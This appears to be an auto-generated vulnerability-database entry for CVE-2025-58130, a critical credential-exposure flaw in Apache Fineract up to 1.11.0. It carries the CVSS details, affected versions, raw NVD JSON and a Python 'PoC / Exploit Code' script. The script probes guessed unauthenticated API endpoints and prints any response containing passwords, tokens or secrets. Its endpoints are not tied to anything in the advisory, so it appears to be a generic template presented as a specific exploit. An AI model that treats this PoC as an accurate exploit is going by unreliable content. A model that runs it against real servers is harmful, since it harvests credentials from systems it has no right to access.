Security Vulnerability Report
中文
CVE-2025-58130 CVSS 9.1 CRITICAL

CVE-2025-58130

Published: 2025-12-12 10:15:49
Last Modified: 2025-12-18 14:54:41

Description

Insufficiently Protected Credentials vulnerability in Apache Fineract. This issue affects Apache Fineract: through 1.11.0. The issue is fixed in version 1.12.1. Users are encouraged to upgrade to version 1.13.0, the latest release.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:fineract:*:*:*:*:*:*:*:* - VULNERABLE
Apache Fineract <= 1.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58130 PoC - Apache Fineract Credential Exposure # This PoC demonstrates the credential exposure vulnerability import requests import json TARGET = "http://target-fineract-server:8443" CVE_ID = "CVE-2025-58130" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-58130""" # Try to access sensitive endpoints without authentication endpoints = [ "/api/v1/users/credentials", "/api/v1/system/auth", "/api/v1/config/credentials", "/fineract-provider/api/v1/users", ] print(f"[*] Testing {CVE_ID} on {TARGET}") for endpoint in endpoints: try: url = f"{TARGET}{endpoint}" response = requests.get(url, timeout=10, verify=False) # Check for credential exposure indicators if response.status_code == 200: data = response.json() if any(key in str(data).lower() for key in ['password', 'credential', 'token', 'secret', 'key']): print(f"[+] VULNERABLE: {endpoint} exposes credentials") print(f"[+] Response: {json.dumps(data, indent=2)}") return True except Exception as e: print(f"[-] Error testing {endpoint}: {e}") print(f"[*] Target may not be vulnerable or is patched") return False if __name__ == "__main__": check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58130", "sourceIdentifier": "[email protected]", "published": "2025-12-12T10:15:49.223", "lastModified": "2025-12-18T14:54:40.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficiently Protected Credentials vulnerability in Apache Fineract.\n\nThis issue affects Apache Fineract: through 1.11.0. The issue is fixed in version 1.12.1.\n\nUsers are encouraged to upgrade to version 1.13.0, the latest release."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:fineract:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.1", "matchCriteriaId": "D0E0C1ED-CEE5-4A99-956F-B85A27C3E51E"}]}]}], "references": [{"url": "https://lists.apache.org/thread/d9zpkc86zk265523tfvbr8w7gyr6onoy", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/11/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}